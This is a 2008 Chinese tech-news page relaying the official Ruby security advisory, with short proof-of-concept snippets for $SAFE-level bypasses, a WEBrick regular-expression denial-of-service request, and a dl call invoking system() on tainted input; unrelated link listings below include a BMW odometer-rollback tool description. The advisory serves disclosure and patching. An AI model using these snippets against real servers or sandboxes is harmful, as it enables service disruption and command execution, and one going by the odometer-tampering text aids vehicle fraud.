阅读更多

13顶
0踩

编程语言

原创新闻 Ruby解释器及其API库发现众多安全缺陷

2008-08-13 09:32 by 见习编辑 Eastsun 评论(1) 有6331人浏览
  Ruby上众多安全缺陷被发现,Safe Level、WEBrick、Dl和DNS查找都受到影响。Ruby官方网站建议使用者尽快将Ruby升级到最新版本。安全缺陷包括:

      untrace_var is permitted at safe level 4.

     
trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

      Thread.new do
       $SAFE = 4
       eval %q{
         proc = untrace_var :$VAR
         proc.first.call("aaa")
       }
      end.join

 

      $PROGRAM_NAME may be modified at safe level 4.

     
Thread.new do
       $SAFE = 4
       eval %q{$PROGRAM_NAME.replace "Hello, World!"}
      end.join

      $PROGRAM_NAME #=> "Hello, World!"



     Insecure methods may be called at safe level 1-3.

     
class Hello
       def world
         Thread.new do
           $SAFE = 4
           msg = "Hello, World!"
           def msg.size
             self.replace self*10 # replace string
             1 # return wrong size
           end
           msg
         end.value
       end
      end

      $SAFE = 1 # or 2, or 3
      s = Hello.new.world
      if s.kind_of?(String)
       puts s if s.size < 20 # print string which size is less than 20
      end


     Syslog operations are permitted at safe level 4.

     
require "syslog"

      Syslog.open

      Thread.new do
       $SAFE = 4
       eval %q{
         Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
         Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
         Syslog.info("masked")
         Syslog.close
       }
      end.join



  其中WEBrick中发现的安全缺陷可能导致DoS攻击。具体情况见http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/

才发现Ruby官方网还有中文版的:http://www.ruby-lang.org/zh_CN/news/2008/08/08/multiple-vulnerabilities-in-ruby
来自: http://www.ruby-lang.org
13
0
评论 共 1 条 请登录后发表评论
1 楼 Eastsun 2008-08-13 09:48
才发现Ruby官方网还有中文版的:http://www.ruby-lang.org/zh_CN/news/2008/08/08/multiple-vulnerabilities-in-ruby/
引用
WEBrick中的致拒绝服务(DoS)漏洞

WEBrick::HTTP::DefaultFileHandler存在消耗指数时间响应请求的错误,因为WEBrick::HTTPUtils.split_header_value中的一个回溯正则表达式(backtracking regular expression)。

可被利用的服务器:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000,ocumentRoot => "/etc").start

攻击:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

在这个例子中这个请求很可能无法完成。

这个漏洞是由Christian Neukirchen报告的。
dl中缺乏完整性检查

dl没有进行完整性检查,因此可能允许攻击者调用危险的函数。

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

这个漏洞是由sheepman报告的。
resolv.rb的欺骗DNS漏洞

resolv.rb允许远程攻击者欺骗DNS响应。这个漏洞可以通过随机的DNS事务ID和源端口来解决。所以resolv.rb已经采用随机化的方式来修正。

    * 参考: CVE-2008-1447

这个漏洞是由Tanaka Akira报告的。

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • 宝马ETK下载种子

    宝马备件查询软件,输入18 Vin码可查询配件编号。

  • 一位老程序员的通货膨胀教训

           一日不评不奋,今天有些感伤。       唐是一个老程序员,1992年在珠海做排版软件,那时的工资是5000元,不用上个人所得税,奖金另算。  唐跟着的老板叫殷步久,同北大方正的张玉峰、王选、张旋龙这些大腕儿,都是非常熟的朋友。  唐那一年事业有,钱有,会弹钢琴跳芭蕾的太太也有,一居室的房子也有,虽然旧。  炳叔那一年还在首都钢铁公司的职工大学教Basic语言,月工资102元,是当时

  • [转载]一个月赚5万美元--国产共享软件开发者周奕

    序员这个名字给许多人的第一感觉就是:埋头苦干,不抬头看路。  第一次见到周奕,正是这种感觉。  当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着一个笔记本电脑包,一副没有睡醒的模样。我站在他身边看他写程序,见他笨的要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么不随身带一个外接鼠标,他说习

  • 到美国去,挣美元!

     到美国去,挣美元!文/李学凌    程序员这个名字给许多人的第一感觉就是:埋头苦干不抬头看路。    第一次见到周奕,正是这种感觉。当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着电脑包,一副没有睡醒的模样。我站在他身边看他写程序,笨得要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么

  • 一位老程序员的指导

    以前写程序都是把所有的方法归到一个类里面,经过老吴的指导需要分开处理。 接受他中肯的意见指导。现在就改 写原型分类处理问题尽力减少服务器的压力

  • 软件人才的一条另外求生路

     第一次见到周奕,正是这种感觉。当时,我在一个好朋友的公司里,他说等会有一个程序高手会来,要给我介绍一下。不出所料,一见面,就是那种大家都能想出来的程序员形象:背着电脑包,一副没有睡醒的模样。我站在他身边看他写程序,笨得要死,用笔记本电脑的触摸板,一个像素一个像素地画图标。我问他为什么不随身带一个外接鼠标,他说习惯了。我是一个没有耐心的人,见不得这样绣花般的工作,找了一个籍口,早早开溜。   

  • 宝马里程数据恢复,全车正常!CGPRO具体操作步骤

    曾欢哦宝马神器 CGPROCAS芯片:5M48H仪表芯片:160DQWT宝马车仪表里程恢复需要调校两个模块:仪表和防盗盒,现如今的防盗都是CAS和FEM/BDC,如果只改动其中一个,里程不变。CGPRO具体功能介绍1.防盗电脑模块支持宝马EWS2 3 4 CAS1 2 3 4 4+奔驰支持的型号有211、209、215、220、210、203、164、169、639、199、230。奥迪支持型号:...

  • 宝马CIC主机清FSC的方法步骤

    1、首要用 ENET 线连车(ICOM 好像不可) 2、断定连好今后,用 tool32,load cic.prg  (图一) “大众点评们”的这个bug,被华尔街日报发现了 双击 status_get_ipconfig,取得 CIC 主机 IP 地址   首要将其备份到本地(避免出现问题能够回退) 然后,以 windows 体系为例,创立 3

  • 华晨宝马java招聘_华晨宝马面试经验

    面试过程:首先是电话信息确认,一个HR小姐姐,要求做一个英文自我介绍,然后会用英文问你几个比较常规的问题,比如什么最能激励你(what motivates you most?);为什么想加入BBA(Why do you want to join our BBA?),然后会在几天后约第一轮面试,第一轮是部门经理和一位HR,会让你做英文自我介绍,然后问你几个自身问题,对你的英文水平有了大致的了解后就中...

  • 菜鸟教程_请谨慎操作!菜鸟也能掌握宝马降级编程教程

    微信搜一搜开心汽修案例背景一辆2013年宝马760LI,搭载N74发动机,F02底盘,更换完发动机模块后,需要执行编程功能,连接MS908SPro设备执行编程时发现,设备提示无法编程,因当前需要编程的模块的集成等级高于设备现有的数据库内的集成等级,无法匹配对应的数据库。接下来,我们讲解用道通908SPro做降级编程的过程。操作步骤1.首先,将标配的黄色网线连接好编程设码的F底盘接头和网口...

  • 进军海外第二篇,慎重初战

    好了,现在你手上已经有了一个满不错的共享软件作品,你是不是打算来一个“xx正版风暴”,在3个月内迅速卖他100万套呢? 我劝你最好不要做这种打算,的确有的软件在第一版推出时就一炮打响了,但大多数软件不是,你的也未必是,我的就不是(我的软件第一个月只卖了900美元)。要做好打持久战的思想准备,既要有信心,更要有耐心。 孙子兵法曰,慎重初战。Internet营销绝不意味着烧钱,一定要量入而出,精打细算

  • 利用micro:bit开发板工具写一个小游戏

    1、micro:bit的网址 https://makecode.microbit.org/ 2、传球 项目要求: 程序开始时,一个小球( led 小灯)从屏幕上方移动到屏幕中间当按钮 A 按下时, 小球向右移动,碰到屏幕边缘停止当按钮 B 按下时,小球向左移动, 碰到屏幕边缘停止如果小球已经处于屏幕最右边,此时按下按钮 A, 给出箭头提示按按钮 B,因为小球无法再往右移动如果小球已经处于屏幕最左边, 此时按下按钮 A,给出箭头提示按按钮 B,因为小球无法再往左移动如果小球正向右移动, 此时按下按钮

  • 微软首席建筑师 查尔斯—西蒙尼

    这是蒋涛先生所作的一篇关于微软传奇人物Charles Simonyi的小传,我看到后觉得很有意思,值得大家一看。程序员不应该只是数字动物,“以人为鉴,可以明得失;以史为鉴,可以知兴替”,很希望大家也关心一下IT界的历史和风云人物的经历。从Charlest Simonyi的经历中,我们看到的不仅仅是个人的历程,也能看到微软早期的曲折,以及PARC的前辈那些令人尊敬的工作等等,不一而足。蒋涛先生在CS

  • 基于STM8单片机的CAT24WCxx存储器实验(I2C模拟方式).zip

    基于STM8单片机的编程实例,可供参考学习使用,希望对你有所帮助

  • Matlab遗传优化算法等算法 求解 生鲜配送问题 路径优化 时间窗 新鲜度 损成本 等约束 程序+算法+参考文献

    Matlab遗传优化算法等算法 求解 生鲜配送问题 路径优化 时间窗 新鲜度 损成本 等约束 程序+算法+参考文献

  • 计算机组成原理课程设计任务书 2021-3-1修订版1

    计算机组成原理课程设计任务书 2021-3-1修订版1

  • 单向辐射ugr模型 包含单向辐射电场模,上下表面辐射损耗,能带,q因字

    单向辐射ugr模型 包含单向辐射电场模,上下表面辐射损耗,能带,q因字。

  • 光伏锂电池储能功率协调控制系统仿真 1左侧光伏Boost控制部分:采用扰动观察法来进行MPPT最大功率跟踪,其中可以改变光照和温度模拟环境工况阶跃: 2锂电池双向Buck-Boost:采用双闭

    光伏锂电池储能功率协调控制系统仿真 [1]左侧光伏Boost控制部分:采用扰动观察法来进行MPPT最大功率跟踪,其中可以改变光照和温度模拟环境工况阶跃: [2]锂电池双向Buck_Boost:采用双闭环控制策略,给定负载电压外环,电流内环,通过稳定负载电压从而控制电流进行充放电 [3]负载电压能够稳定在设定值48V,锂离子电池对功率进行功率协调补偿 仿真运行工况模式: (1)当外界光照变弱,光伏输出功率不能满足负载所需功率,储能会放电进行补偿功率 (2)当外界光照变强,光伏输出功率超过负载所需功率,多余的功率储能会充电进行储存

Global site tag (gtag.js) - Google Analytics